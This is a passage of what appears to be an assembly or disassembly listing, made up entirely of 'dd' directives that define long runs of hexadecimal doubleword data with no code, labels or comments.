		dd 2838B8D2h, 0D9F60C38h, 0B628C78Bh, 37EADE04h, 5705204h
		dd 772A9213h, 4C15D86Dh, 0C13CEA2Eh, 0E178E712h, 76A19Ch
		dd 0B7C437E8h, 6516EA27h, 6607F4D4h, 485A2422h,	0DA41C7E7h
		dd 40856E6Bh, 19A6516h,	0D22BCF9Ch, 0ED1C0A6Dh,	36C4BE76h
		dd 20B95C01h, 0E5147FA4h, 9EF305Ch, 0A4B3EB88h,	1FD6E003h
		dd 3783047h, 0AB4D9231h, 0F6280C9Dh, 45C8E1B4h,	54E6F424h
		dd 3447C658h, 0A031AEC2h, 6456375Fh, 41350240h,	29E6DC5h
		dd 0F161E8B6h, 1A44A24h, 0F5EC7CFCh, 0B840077Fh, 5620B7E1h
		dd 57043C44h, 90BFF43Ch, 0F77A76B8h, 0A01CA8D4h, 1483AE92h
		dd 0AC0A82FCh, 20C31571h, 0D68028E4h, 899FBF6Ah, 393678C4h
		dd 0D5459881h, 1225A820h, 2CE5268Ah, 4118EFC0h,	0D689F21Ch
		dd 3ADC00DDh, 0F4AA34C4h, 0F62BE945h, 0EA817413h, 7E52C52Ah
		dd 635F600h, 0C705E73Ch, 0CE1212Ch, 96602CBAh, 0E9273A02h
		dd 435E7825h, 1DFA12B8h, 6D1028A4h, 0DC303EFAh,	4FB66081h
		dd 7FC8C45Fh, 74288E3Bh, 89A8C14h, 3CC3D08h, 822705E6h
		dd 0C016A089h, 4604423Ah, 18348304h, 5F7E071Eh,	81E723EDh
		dd 80EAE66Bh, 1A6AA921h, 749B724h, 0D9B5B39Eh, 6484EA1h
		dd 5D5A7B07h, 0FD69F050h, 689B0047h, 6110BE8h, 0A5616C4Eh
		dd 96014634h, 0F2925B60h, 3FF90382h, 212B8D91h,	833CC9F0h
		dd 68725A01h, 4B1A4892h, 0B62C180h, 31E6D9B9h, 0C92B5107h
		dd 15429228h, 2209008Fh, 2BB82A0Dh, 0B7039701h,	4F346318h
		dd 7F35FCh, 6532E645h, 0E7F91924h, 0E39AA81Dh, 0DED09747h
		dd 0F6CED7E0h, 0C63CA573h, 3C8020AEh, 0E9726061h, 168EEB00h
		dd 4B3B4993h, 70C602ECh, 5C4E15BFh, 43AF807Dh, 30238563h
		dd 0F70E36Dh, 0B628CA2Eh, 0CC01F49Fh, 0DF673CE8h, 0C9E8891Ah
		dd 0A863F2B3h, 2C8ED4h,	7FE717F3h, 12739EC0h, 78FCB275h
		dd 0E53C20h, 0B70CF166h, 0C69D1D25h, 4487E101h,	2B7B60F9h
		dd 30F376EDh, 88ECB1B8h, 2EFABF75h, 0F9D11200h,	60A03D9Ah
		dd 745EE85h, 0E154277Ch, 0E4DF0067h, 6A028896h,	73729392h
		dd 0B85CA031h, 106371E9h, 80E8DE7Fh, 0E643E070h, 5B4900CAh
		dd 272A8A33h, 4F636771h, 0D8920538h, 0A97B98h, 56A189F2h
		dd 0F0887A72h, 2D249318h, 6505F9h, 0CECDAE31h, 0E4C513DDh
		dd 18C8A002h, 44E7FD70h, 1A690250h, 9F319D87h, 1F8C18h
		dd 18CA8239h, 92575BD7h, 0F99D0500h, 19B48547h,	948E00BDh
		dd 78D4A7EFh, 64637E9Ch, 99AD5278h, 898006F8h, 0CA8E1ABCh
		dd 2429F121h, 395940E7h, 44020A0h, 3AA90181h, 7F20905Bh
		dd 0FF00E157h, 47A0E6A2h, 24CDC58Eh, 0DC806AB9h, 0A44C8D00h
		dd 97D5FA10h, 2B4600EBh, 9D9F7D51h, 1502A7E8h, 0C5C90944h
		dd 0E204487Ah, 2208C013h, 877B017Ch, 84392500h,	0C84895A2h
		dd 505A0040h, 28DB0946h, 309A2F34h, 6791D600h, 55F37EB8h
		dd 12260085h, 0DA13BDE1h, 3500B728h, 0CEA2F824h, 2EE6A0h
		dd 7DA3B5C2h, 8E18CCDCh, 0E0CF9F06h, 70509E4Fh,	0B1540CC7h
		dd 0AC404C5Fh, 0A4083564h, 0AFAE1493h, 8D534AE0h, 0AC9C1CEAh
		dd 32BD0040h, 31A78990h, 2C139E0Ah, 2403284Bh, 0D25F0211h
		dd 0A0861883h, 566CB083h, 9EA93EADh, 6BF7AB80h,	616E4C34h
		dd 0B536FA1Dh, 595B4001h, 39D4F12Dh, 7C8281Dh, 345652D2h
		dd 0A115DB01h, 0BDA1427h, 53446700h, 32ABD8F0h,	0FED17900h
		dd 0FBAE910Dh, 0EBE50084h, 8BB13AEEh, 10086B4h,	50D9FE36h
		dd 0F1F03C6Ah, 12C398F0h, 30FB8918h, 9A293434h,	4830BC48h
		dd 0F6C9B0C4h, 0A658000Ah, 659C18C1h, 0C624036Eh, 0BC3FDC30h
		dd 403DA66Fh, 0C930E01Dh, 0FEF5FE9Fh, 1AFF001Dh, 0B7EEED1Fh
		dd 4F003E44h, 6E42C5E3h, 15F9EBh, 0C1F6A037h, 84A12A94h
		dd 67CD0E00h, 1E175627h, 0F254A4BAh, 0B96139D7h, 12C2C738h
		dd 0C8001952h, 0C25DAF74h, 99053C9Ch, 0A87E5B80h, 0B628DFFFh
		dd 1CB93538h, 0A7814DCCh, 2E4FCE56h, 2FC81896h,	9069694Ch
		dd 2E1A4Ch, 22062F02h, 5391D787h, 1500B490h, 0E1C86A35h
		dd 0A810D189h, 1F4A3688h, 0C0B58733h, 7A6DB75Bh, 104CA7BEh
		dd 3918096Ch, 0D03774h,	4B4C95B0h, 0E41FA290h, 7DC5048Eh
		dd 508081EDh, 725D6A69h, 5E850B54h, 2280F5C4h, 167DBDE4h
		dd 0A804300Ch, 60BE71B3h, 20120855h, 9924DD45h,	0A8003128h
		dd 809C48E8h, 9F760F82h, 15AE9251h, 42AF03FCh, 9DB8CC18h
		dd 6771BD94h, 0B04130C0h, 3AC5D6Dh, 3AA223CAh, 0AEF8D0EDh
		dd 749826D1h, 304019EDh, 53E9983Ch, 0CD30B8A8h,	1093FF21h
		dd 0E6C94200h, 951D902Ch, 805A582Fh, 3D603382h,	871CD00h
		dd 7DC4A0B0h, 2C2B0119h, 132EA5E6h, 5CDC00A1h, 0C557008Ah
		dd 0A32B9EEBh, 7F0007C2h, 0E6B49868h, 38A51918h, 90812761h
		dd 9267EF38h, 6ECC585Bh, 0CFB2B902h, 1338F018h,	2C276103h
		dd 98347319h, 3A1F7C61h, 40D0A820h, 94EA3027h, 0C90FDFD9h
		dd 8A26D201h, 0A3CDBC78h, 17256AD4h, 4181AB51h,	323F61A4h
		dd 52102029h, 0B53A22h,	5E88B1B3h, 855ABF6Fh, 61B2F926h
		dd 0A437BA09h, 88D8D060h, 5712070Dh, 28382468h,	0A140DB44h
		dd 15100DF1h, 4787931Ch, 0C48CF5CEh, 0C1EED02Dh, 60B98212h
		dd 0EE3B1CAEh, 0FE948F1Dh, 7D4E19Bh, 39D45AC2h,	3ADF3C08h
		dd 0C4919E00h, 0FE47E181h, 0B91CF200h, 0E6E86ACEh, 9C5A1E9Ah
		dd 72CCC0F9h, 0E2C33A62h, 50E4471Eh, 0AD25D440h, 3AFC5E7h
		dd 2E6C4CC9h, 1E87CF5h,	0A2001335h, 0B1262AF0h,	1B62FACh
		dd 3398ED46h, 0EC721DA0h, 8307DEABh, 75A1CB51h,	7DA980A0h
		dd 0D6890387h, 0B4C86FDFh, 3A1801C0h, 20008CFCh, 4A5BACF9h
		dd 9097A1h, 0FA7DE448h,	792D6142h, 0B2D7D60Eh, 8034A756h
		dd 5E0F85A0h, 0B113319Bh, 0CE10459h, 475D0222h,	9050BD3Ah
		dd 2C80014h, 0F0A8A5B9h
		dd 0A7EE934Eh, 4E89A0Fh, 21CF3C2Dh, 68F3E1B1h, 8BF4EDD2h
		dd 0E168C115h, 407E06EEh, 6360E4A8h, 0C070C26Eh, 552AD2BFh
		dd 1AB90F22h, 0A180FC11h, 0DDE2C087h, 5CF6C105h, 8D01527Dh
		dd 8AA64E96h, 30C4CC50h, 3820007Ah, 0B77AFB4h, 0E0F287DDh
		dd 2D4770C3h, 1EF7B89Bh, 422500B4h, 96B3F621h, 0F10040F4h
		dd 0C43B4FBEh, 0DD3672h, 0D21DA6A0h, 83B569EAh,	67F4350Ch
		dd 934880h, 0DF42579Eh,	0BF48874Eh, 5E468301h, 7266239Ch
		dd 74968C40h, 87530004h, 25990754h, 4600F0E7h, 83B38FFAh
		dd 0C0B7B63Dh, 0C748E4B9h, 0F2009B0Eh, 0F7B4CD33h, 602CD8D4h
		dd 0C99D21EEh, 0FE013290h, 0B375ADD7h, 0CCD0AB70h, 384A80E3h
		dd 15E7939h, 69128E88h,	0D6702228h, 0FC7C8Dh, 0B7CE8919h
		dd 0E27E3297h, 0F0E553h, 842162C4h, 84978740h, 0E20B5F00h
		dd 0BA80BE7Dh, 915A00EFh, 7333A87Fh, 6000C339h,	0EE0CF6C6h
		dd 1CDDD031h, 2E5EA4h, 0F91B1936h, 2D5492D4h, 0A838B760h
		dd 8C2710D0h, 4E04FC4h,	2C003DDCh, 0D86A3BF8h, 35801900h
		dd 56C3B55Dh, 46F8A4E3h, 7BCC014Ah, 35144464h, 9741570Ch
		dd 3B5D3C8h, 8DF6EBD7h,	0B2F842A3h, 970E95D0h, 8073413Bh
		dd 9CF55515h, 12A971E1h, 1EA7197Eh, 2E6700B0h, 0FA5B1618h
		dd 0F8049E07h, 0B046A0F4h, 0A6260021h, 0F2F168CAh, 8A09CFE8h
		dd 217675BFh, 0B3526C8Ch, 618028BFh, 126E9205h,	933C33B4h
		dd 566A803Bh, 1E6F766Ch, 94CB015Bh, 41F22E04h, 31E0F713h
		dd 0D1DA58Ah, 0F4C09545h, 0E0BC68ABh, 0E30008Fh, 8B9BD7B1h
		dd 0EE00E4FAh, 0F2B2F473h, 0C90DA3h, 22777534h,	0E05D187Eh
		dd 82D74914h, 0D83AE0h,	7769E772h, 0D02202h, 0BDA1F84Bh
		dd 8032D442h, 900C2F8h,	0B320EF2Ch, 0FB1E10h, 0BEC49227h
		dd 8076CD12h, 807CEB3Ah, 0B210E4Eh, 34E82Fh, 7BF9D825h
		dd 8009DCE5h, 9EA71700h, 4620AB99h, 9C363DDh, 2000D850h
		dd 4805D237h, 0F3B584h,	1C6BA0BDh, 0DF6CB171h, 0CA002B7Ah
		dd 6D207DD7h, 3CDD1268h, 5A003614h, 0B1E9AD1Ch,	56000155h
		dd 0EF5E7022h, 7CA50E0Ah, 5D83309Ah, 0E54B4208h, 0B6549207h
		dd 6F108738h, 0F61C831h, 5E723B8Dh, 0E119A87h, 7CA54441h
		dd 0BA74EC0Bh, 5DC7A00h, 59EEB275h, 69830046h, 0C308B4C0h
		dd 0B6004292h, 170C8F63h, 54ACAh, 34FBA082h, 0A8EFEDAEh
		dd 0D810FE06h, 1AE3D9h,	74C5B657h, 0EE4FDC8Ah, 91B7E203h
		dd 96D1809Dh, 0B64400A8h, 0BD5D730Bh, 7E70A465h, 4CC15B00h
		dd 9837270Eh, 0A573DB5h, 21DA9500h, 5DB73C2Fh, 2E47C0DFh
		dd 789742A5h, 0E4A046F7h, 7615D4h, 4D0C6E63h, 5E36CB3Eh
		dd 8B402000h, 0F3CD6158h, 1C10F0A9h, 4031C08Ah,	0DBE76274h
		dd 4C0077C9h, 0CC578011h, 91162Dh, 215F0FCh, 5AB52EB4h
		dd 40273A00h, 0B23721DBh, 0BE5807D5h, 8645FA29h, 18C358F1h
		dd 0D0D438CEh, 330B3A5Dh, 9131D7EAh, 0BDC1C7A0h, 8BA7E500h
		dd 546730B1h, 0A0E13A98h, 7D60D601h, 80436B13h,	0D8BA6CE0h
		dd 0EFE8DF3h, 2C6A4F1Ah, 56E5D460h, 3F0FA6C5h, 0E68334D3h
		dd 1C509F35h, 2362542h,	0BDC6D43Eh, 0C3030C44h,	62333271h
		dd 1DC0BCBEh, 0ADCF285h, 0A1142C38h, 0E09A18D4h, 0C8C0E037h
		dd 0A8D4E27Fh, 8D8600DCh, 0B9724596h, 54009FDDh, 2CBF063h
		dd 4C84BCC6h, 52059907h, 2082A9C7h, 0C2087C04h,	0C961E2Bh
		dd 300846DBh, 0F5E6F680h, 6D00CCDBh, 977F17EFh,	0AA240FBh
		dd 96D9E3EEh, 0FD53080Ch, 0C4719443h, 23FCFF44h, 0A723BC6Ch
		dd 831626CCh, 10D6BA0Ch, 5244E928h, 0DC3CA8CBh,	0F769443Eh
		dd 4110F942h, 905F8E1Fh, 6A655E82h, 54451B25h, 300AE6F3h
		dd 0B8904887h, 21F843C4h, 0C43595Dh, 9A49006Fh,	83FBD980h
		dd 331FCC52h, 88C53782h, 0A8228AE9h, 0F7837DF9h, 6A8822A0h
		dd 4E3047CAh, 68D207Ch,	4286006Eh, 5878A8CEh, 39C0C9E0h
		dd 0F2537E48h, 0AB630377h, 35591EF8h, 21FF69A0h, 5592DE00h
		dd 0D529513Ah, 0E948002Ah, 0E2356A41h, 9B61207Ch, 0FA03A368h
		dd 7186BD0h, 0CC7A9F9h,	0C0E0F059h, 920280CFh, 0BE70F88Ah
		dd 204C905Fh, 14C00E4h,	2F025284h, 0DA0446C3h, 9C156876h
		dd 75EF9FC0h, 737E0056h, 7D3E29AFh, 53F87106h, 0EEC73500h
		dd 0D2835134h, 1F6230BBh, 745DAC68h, 7AA1C10Eh,	790E9E27h
		dd 5423407Eh, 5A1AB3h, 65BC7C0Ah, 0B7374A3Eh, 1C91C128h
		dd 57C20700h, 0D30C6619h, 3DC900FFh, 77993545h,	0E8F2F4CBh
		dd 8F949D07h, 22104D9Bh, 9A2BE4h, 0DC0D061Ah, 0F4AE092Dh
		dd 8B0FAC00h, 11026378h, 528F18FDh, 40CA2830h, 0E0AB4F00h
		dd 46A6B4C4h, 58B60E7Bh, 5B2033F0h, 60942611h, 5C440B29h
		dd 806CD980h, 880641h, 9BC07F5Fh, 48DD740Ah, 0EC0783F4h
		dd 0ED0D7BC8h, 6BF087B7h, 0FA94DCh, 7E46C540h, 0CD9A19D3h
		dd 93002E7Ch, 0CCC7E8A8h, 0BE2250h, 3F75A3DEh, 7D6C1DDh
		dd 28D14030h, 0FAEC19DFh, 30E224h, 0B2A013BEh, 0D0057BF7h
		dd 0FE007EF8h, 0F883D628h, 9CC046h, 3DF55710h, 0A3AEDC47h
		dd 0CA092E00h, 0DDC36712h, 0E061052Dh, 8170298Ah, 0D2FA9F7Dh
		dd 0BC53589Ch, 0E579834Ch, 0E25E0082h, 1A7D1680h, 0FB17117Eh
		dd 0C9003436h, 0C1125051h, 0DB213C32h, 3AA5D10Eh, 8D1740D8h
		dd 1F63C07h, 318CFA16h,	247019h, 0FD3A07D0h, 0A05A65F9h
		dd 3F01A3Ch, 0BC4F1F64h, 0F38DF8AEh, 349E00D6h,	0A85AAB95h
		dd 0D500EF9Ch, 0FA45C747h, 15CE3B57h, 0B82A8D0Ch, 372BD803h
		dd 0B8F83309h, 7F03A146h, 725B6228h, 23B05876h,	0F3024403h
		dd 907F16A7h, 0B8E0DD30h, 64971E3h, 5AE642B9h, 3000307Ch
		dd 7AF9FC62h, 29F628E8h, 5EAC5D7Fh, 1AB298C5h, 30F7DF00h
		dd 74DE68A4h, 0D3C40059h, 0B66099ADh, 5A1EC72Ah, 6A1D63F5h
		dd 7E8C1900h, 2B487B75h, 0F0448E14h, 0D8008ED5h, 5E265460h
		dd 9D849Fh, 0D75ABD61h,	194B3B58h, 5174B100h, 4F6BEEDDh
		dd 977F8Bh, 21C1E5B9h, 5B033932h, 0FD7AED01h, 2EF852DDh
		dd 0FEA67EF4h, 0D1B000F9h, 238AB696h, 0A90056ABh, 0B90E1CF5h
		dd 33AE0BEh, 0BFB8F8D5h, 0B448C4h, 1741EC43h, 0F0B007B4h
		dd 0B0081B65h, 8FE6C253h, 1301B9F2h, 0B276690h,	32F19D2Ch
		dd 3B1C92D0h, 23805DC1h, 28D73989h, 0D0F33CFBh,	3E3BA663h
		dd 0FD6B804Dh, 4987C27Fh, 0B3090323h, 0C7892D03h, 0EF842844h
		dd 0CE58EC00h, 88E01143h, 9C2107B0h, 0C0965BBCh, 53AEDA28h
		dd 0D03A47Ch, 49BA9536h, 21BDF074h, 42F43CA5h, 0A7ED00FAh
		dd 8EBE3B1Ch, 1A007332h, 0B215D527h, 1D827Dh, 4921297Eh
		dd 0BAB4F839h, 3294F700h, 12082CAEh, 0C2F40058h, 53297D88h
		dd 2F0030ADh, 4D2B96DDh, 5833B69Ah, 3C00FFA9h, 6F5A64D7h
		dd 2478F908h, 0F1266E03h, 0A07F1185h, 74FC4D05h, 4E551CEDh
		dd 1E5CDE0Ah, 906AC098h, 0D3823835h, 3603584Eh,	260953h
		dd 43EB5480h, 56EF146Bh, 9F444Ch, 2EFFD5DEh, 1F49A3E0h
		dd 92A407CFh, 0D70300BEh, 0B357FD2Fh, 456FD300h, 0D02AA17Bh
		dd 0F90700B9h, 0FEA659DFh, 9600864Dh, 0AA360A57h, 0B0F1FDh
		dd 5411CDBDh, 3D5AF22Dh, 253DB674h, 37491C01h, 95ECDB00h
		dd 50BF4275h, 0A5948C4Ah, 0DA3D8E80h, 5E44258Ah, 2DE90D60h
		dd 2108D7Eh, 0B982EB1Bh, 86426A48h, 8165C422h, 0ACD69090h
		dd 3E98180Ch, 30838FFh,	2531D08Eh, 11045507h, 23E839Bh
		dd 853A8724h, 0C31803FDh
		dd 21EC9083h, 0B7E097EBh, 0E5778053h, 80E179C0h, 0C039FFh
		dd 48B69B0Fh, 0B8829FD8h, 0ADD66900h, 39459E2Ch, 6797023Eh
		dd 0D2BD1D54h, 6E2EA482h, 0D380AD40h, 84A81639h, 44BA2C83h
		dd 4FA51C80h, 4700F3E9h, 0B5180908h, 0EFA0139Eh, 20B80093h
		dd 11380A6Eh, 3001E8Ch,	0A66918DBh, 5C2F3C10h, 8A0E36BAh
		dd 0A6CA179h, 0BF0039C9h, 0BC93C583h, 5ED896h, 0BD459F3Bh
		dd 0E5CF1136h, 3CE40354h, 67ED3215h, 0B3120C88h, 1FD0E8Fh
		dd 4611F077h, 0E410CBFCh, 0B7307F94h, 52E8481Fh, 247330C8h
		dd 6BE9F239h, 0C003417Dh, 183CBE8Eh, 0A0A6A286h, 479BFFDCh
		dd 901A00AAh, 0A74978F8h, 8203C2CBh, 0F4A04C99h, 8FB6F03Ch
		dd 3BC502B0h, 1B02C312h, 85E80848h, 30A0D5Ch, 587010FCh
		dd 8F082A67h, 488D0094h, 7C8219FDh, 0E8ED0B36h,	0D4902605h
		dd 0CCF10426h, 0D1DAE501h, 6C2151C0h, 2DB66E0h,	77B69336h
		dd 0F8A082C8h, 5C9A9612h, 11096030h, 0E67EFD74h, 879D033Bh
		dd 9E9AD327h, 0C48E0A2h, 6500B8BAh, 0B78FB2DEh,	0DFCB94Eh
		dd 25FB7745h, 5A55C420h, 71725400h, 802EEBB8h, 0A8F036Ch
		dd 0F9C55CBCh, 2660A0CFh, 0E91245FDh, 845F216Dh, 0FA3BCE02h
		dd 5CB8A2CAh, 6EE51891h, 0E0210D7Dh, 43399285h,	47C85300h
		dd 36D2B403h, 0A7A3F964h, 43601C62h, 4A7800E3h,	4D406519h
		dd 1000C2C4h, 4547A05Eh, 0EA7C2681h, 2F5A0411h,	0C0C59D0Ch
		dd 0B5876A3Ah, 0A68D5E00h, 0DC167B3h, 2D191FF3h, 0D2CE4h
		dd 14053DCh, 27034183h,	0D96A972Fh, 0B28AA833h,	371FE72h
		dd 0AAF48D4Fh, 15D80540h, 0C60E76CAh, 80D29C24h, 63C7E613h
		dd 0D3DF5CD9h, 46683104h, 85E080EBh, 73010C22h,	0B8BEF625h
		dd 0E0CB088Ch, 386CAC1h, 23842C9h, 0A3E84788h, 4A00F0D6h
		dd 455E3BAAh, 9D867Dh, 24FF3AA0h, 4BE22BD7h, 0C889B11Dh
		dd 0E0E44A40h, 28CDA6h,	0AD5E0783h, 0E1A4D2D8h,	0E791B800h
		dd 0F5E2E4D0h, 98A63DCBh, 40AD06F3h, 0CC712F8h,	0A2641F00h
		dd 0AB35F769h, 8DE00031h, 9BCE9CA7h, 0D600A852h, 1613F3C4h
		dd 0AEEC05h, 240CCF20h,	1B3A6162h, 0F877B700h, 0C8EEB21Eh
		dd 5AB0014Dh, 80137BC1h, 703FF556h, 3B078993h, 6066E8F4h
		dd 4FD42240h, 0F9C800F2h, 2D8473Ch, 0EC7C6CE3h,	553A391Dh
		dd 0C2AEFDC0h, 0FE367Eh, 9FBEE268h, 3FEC0F14h, 0AD867000h
		dd 69BF85B1h, 2F480013h, 0C845C27Ch, 0CF00465Ah, 0DB107E95h
		dd 9DF5927h, 132C35EAh,	573A2700h, 0F40005CAh, 2A758740h
		dd 3102C15Dh, 0DB51BC59h, 6367023Fh, 223800FBh,	0FEC37281h
		dd 0E4375DB6h, 7D22289Ah, 94C40716h, 75A5044Dh,	48E24F44h
		dd 0C75841A3h, 80C90257h, 0F3765128h, 40697EBCh, 52006C64h
		dd 26E1EE9Ah, 2EC43412h, 53C56Ah, 0BB1053E3h, 1A003AB9h
		dd 5CD754DEh, 0D3B080h,	51F711EBh, 72C32CCEh, 0E624B9B8h
		dd 900F930h, 7C95B866h,	103F86Ah, 0BC92E967h, 0EC29F484h
		dd 7607E6D0h, 9DA12B9Fh, 86D3A200h, 0A5703Eh, 2619C5D7h
		dd 0BB4C251Eh, 0B770EA00h, 1779E10Ah, 9BE31752h, 95A6A05Ah
		dd 2FECD700h, 4D914E6Ch, 478C0077h, 0FAA36F02h,	0C00F9EBh
		dd 7A19352Bh, 0C349AE9h, 65C65D8Dh, 46000F30h, 0CCBA1404h
		dd 78DE381Fh, 2C90A8h, 0E35836B9h, 0C1C73083h, 0AE4CB701h
		dd 5DDC0AB5h, 996EBD8h,	0A7FFEF65h, 0CAA34E00h,	0A91B769Dh
		dd 0A910DCCCh, 28E43635h, 18DA03B1h, 0F80E7BD0h, 0B709CCA0h
		dd 0FF509B0Fh, 0CAAA2069h, 0E4854AEh, 8C7FEAA7h, 0C82E5881h
		dd 84D82059h, 0BF4A3300h, 3543EF61h, 50749Dh, 0BA5E6B71h
		dd 77A773EAh, 8B34C500h, 700A3DFCh, 207100B4h, 857EFABFh
		dd 393BCF1Ah, 3E9500E2h, 0C237B935h, 3BF20044h,	99583368h
		dd 0FBF50BEDh, 0DE1D06C0h, 0C3E70300h, 0C6A43ADBh, 10521C22h
		dd 4D4B80E6h, 9148D1A6h, 724ADE00h, 0F9E4C328h,	83F00E7Ch
		dd 2980ABC0h, 0EB93B0EEh, 2100D77Bh, 1B49164Bh,	3C1EF323h
		dd 66007A0Dh, 5C7C6EA6h, 470BC254h, 55E1579Ah, 2AD22900h
		dd 664CC426h, 58A50216h, 805B99F9h, 0E63B2F88h,	1CEC30ACh
		dd 1602360Eh, 0AEBB3C00h, 0E46AB41Bh, 404B00C6h, 63DF76Eh
		dd 0FA001535h, 0D525908Dh, 0B016CF0Bh, 58730016h, 9C34F26Eh
		dd 0F53D13AEh, 69CCCDh,	9AE8DF36h, 0E6E25044h, 0BC350095h
		dd 0E594CFA5h, 0C1363A7h, 38017DD8h, 0B1F772D7h, 3ACD3EFCh
		dd 6C8010F2h, 0D9F4DE32h, 0AC05FE61h, 0D8D154Dh, 0BB28D080h
		dd 82110014h, 91E462A1h, 1F03CE43h, 88354D44h, 80F8AA18h
		dd 0BF5B7CE6h, 4FC2006Bh, 0C7267E40h, 31181324h, 0D21038B4h
		dd 0D83A50ABh, 0EF5B0045h, 11D87748h, 0C40042E7h, 3CDBB5B6h
		dd 39B3420h, 6F480892h,	66C8E240h, 0A35C16A2h, 7DD60096h
		dd 396BA815h, 8B183DC2h, 0D0845C00h, 8651B598h,	14DC8C00h
		dd 0CBCF34A0h, 0C82F00FCh, 5EB2E48Eh, 85009DA5h, 21C290D9h
		dd 1FBFDBEh, 0DE40B597h, 0ECA7107Ch, 0F40072BDh, 6285F1ADh
		dd 4A543h, 2FEF3B06h, 8E7A86DAh, 0FC7B750Eh, 3EBD00A4h
		dd 3E4B1B55h, 17F5601h,	57604C8Fh, 0FC46DA3Dh, 370051FFh
		dd 0C641DB80h, 3949906Eh, 9A807F76h, 0E2F9E57Bh, 0ED00F211h
		dd 0E0CF98D3h, 2066ACh,	8242D412h, 0C9C4435Bh, 3B7BAF3Ah
		dd 219B80E7h, 72607C75h, 85D50064h, 0E9FF3D59h,	0D700B8ABh
		dd 81764A50h, 1C15BC58h, 597B546h, 802BE114h, 8D1CC1A8h
		dd 314BB800h, 7851D5C6h, 995700C0h, 9CD82A85h, 950001B6h
		dd 0E538D40Bh, 7F6C07h,	8A99C37Ah, 0AA4BFCFEh, 54A8DCA8h
		dd 2800C8E0h, 0AED5018Dh, 3E2124h, 4D7BEADEh, 556ABB84h
		dd 30EE4630h, 98DAE71Dh, 4C8D3C65h, 685BFC01h, 6089F355h
		dd 0B00FE4Ch, 71C55D8Bh, 0A82B91h, 1674ECFFh, 9BBAE292h
		dd 41F20B00h, 0C79DAD8Bh, 0CE5A00AAh, 0A9184FA6h, 4D00F995h
		dd 0E75D632h, 0E6084E0Ah, 8B1907C6h, 0D08EEB7Dh, 1657F46Dh
		dd 947E3207h, 0D40B3F1h, 0F0E0B65h, 0C4BF21AEh,	5CA8F840h
		dd 3C0068CDh, 6AF3D9D1h, 0B2863Eh, 0DE27BB8Ah, 621C45B8h
		dd 151EAC02h, 40A4A598h, 48F9FBD2h, 0C33C14C1h,	976301F6h
		dd 6630FACDh, 2C6C80E0h, 63B0875h, 4AFD030Bh, 3FB5F160h
		dd 0D44C7DFBh, 0BC210E66h, 0E9022023h, 101779Eh, 63C20DF1h
		dd 0C8DE49AEh, 0A700AD3Bh, 70074F6Dh, 39FF6144h, 798029FBh
		dd 53C5F6A1h, 0EE0074F3h, 6F1ECFACh, 1669CEAh, 0DF5BB816h
		dd 0EC13DA93h, 0FA1FA0E3h, 0DB4E0A28h, 71EF2039h, 78435C92h
		dd 2DE00Fh, 8C0C4D72h, 0D0CB6562h, 57243Ch, 6483E9C9h
		dd 2939425h, 0E2A55F48h, 9CC0A1B1h, 10F44108h, 8D9EDE00h
		dd 86A7B545h, 23130005h, 58C42AB3h, 84008CB1h, 45AFB72Ch
		dd 912BCDh, 4FCBE099h, 237E59E6h, 760050F6h, 7D4A4E56h
		dd 673BA6h, 1629245Ah, 0A2D26986h, 760A000h, 1650BC9h
		dd 21DE0FCBh, 0C1C7E23Dh, 5587505Fh, 0DCFBF6A9h, 691B16C7h
		dd 0A0BA9907h, 0B32877h, 0DD613EFBh, 40F5AD65h,	861CDCEEh
		dd 438FC1D3h, 0EBE4802Fh, 559C91h, 35F59025h, 3B9D502Ah
		dd 87F0F300h, 1ED8BA7Ah, 0C430010h, 17185C79h, 63F8A2D6h
		dd 5170E600h, 2928B8BCh, 1B3407F8h, 0B035EE4Fh,	0B472FBBEh
		dd 0B22BC907h, 8A10977Fh, 102A899h, 4CD3EE8Bh, 43A621C3h
		dd 74B0B5E4h, 0D400B27Dh, 0C123AB77h, 94954Eh, 0D75F6B06h
		dd 40260ECEh, 0BF256F03h
		dd 0E1FE3016h, 0E03EEE05h, 743ECEB3h, 0CDC08044h, 306EF4Dh
		dd 183300DFh, 1660CF5Ch, 0C2F007E6h, 9B0047F6h,	5A6FE4D2h
		dd 0A19DA4h, 4A1AD311h,	3A469006h, 4CB99607h, 3930FC3Eh
		dd 56997Eh, 9FCA2A59h, 57153318h, 808C2600h, 0E2FD385Ch
		dd 75ED0007h, 7EA71135h, 66004E05h, 0A22E9B63h,	0B2C7D6h
		dd 6AAD4E0h, 5EB06BE7h,	0D815ED00h, 139E4C23h, 0EEA403A2h
		dd 0D96641E2h, 0AA071DD8h, 96212200h, 0A2B1D0FCh, 6F98B3h
		dd 0C5CE247Dh, 5D53890Dh, 9C6F9B00h, 148565CCh,	26EA001Bh
		dd 32DFD743h, 28005F08h, 9113F490h, 0F4AD8F86h,	0ABCC039Eh
		dd 119B8093h, 0C244A7A0h, 0E0388100h, 28A3E8D7h, 2EBC3946h
		dd 50071FF5h, 11AE4075h, 16192BE6h, 0C3E57800h,	26B1939Eh
		dd 1CF32C7Dh, 0BEDD00B8h, 96E61D7Fh, 0EB309200h, 5FAD3534h
		dd 4DF3073h, 149BEC38h,	581AC602h, 50627B24h, 76540954h
		dd 1D815EB7h, 80CF6F7Fh, 1B389D31h, 0D1DF0Ch, 0DCAC6B75h
		dd 0D61DEEEBh, 0E80ED9E8h, 0A0DB6E6Ah, 0D5368B4Ah, 0A51300BDh
		dd 0F6A74E74h, 7F3B85CAh, 0BAAE8258h, 0FD5E9498h, 0DE3602E0h
		dd 2A18B514h, 31C200A1h, 0E71307E4h, 3A94058Ch,	800AE0ECh
		dd 877D6D9Eh, 0FBD40C00h, 85425E91h, 2F0800C7h,	0B227A347h
		dd 0A77F35F6h, 0D1EEDEEEh, 0C1A98503h, 0B06D0A5Ah, 394ED6FCh
		dd 0E50021F7h, 0F54A3B91h, 82732039h, 908C8D07h, 27108F3Eh
		dd 0B1D4DCh, 6947EF6Ch,	0C875A3F4h, 0C01BAA26h,	7D1E6E00h
		dd 0E63667F5h, 423004Fh, 0D7849FD8h, 0E0061AFh,	31BA2801h
		dd 12E4E6CCh, 0B94010h,	9A20A469h, 9E7633D4h, 9487D103h
		dd 0EA0C0444h, 1400FFD3h, 0B42B4979h, 0E2DE3100h, 1A8C81C3h
		dd 442E00F4h, 0C2D112Ch, 921F69E5h, 1FDC9DFh, 64E7E4ADh
		dd 34F0654Bh, 0A100043h, 0FA68AEC3h, 0E1F6C47Dh, 45A7A807h
		dd 3E50F920h, 7807EE59h, 2F9C00F6h, 75F7BCF1h, 5690FF7Eh
		dd 1D560600h, 0DA4976A4h, 386479ABh, 0AD0FDDA0h, 1BE0EFFBh
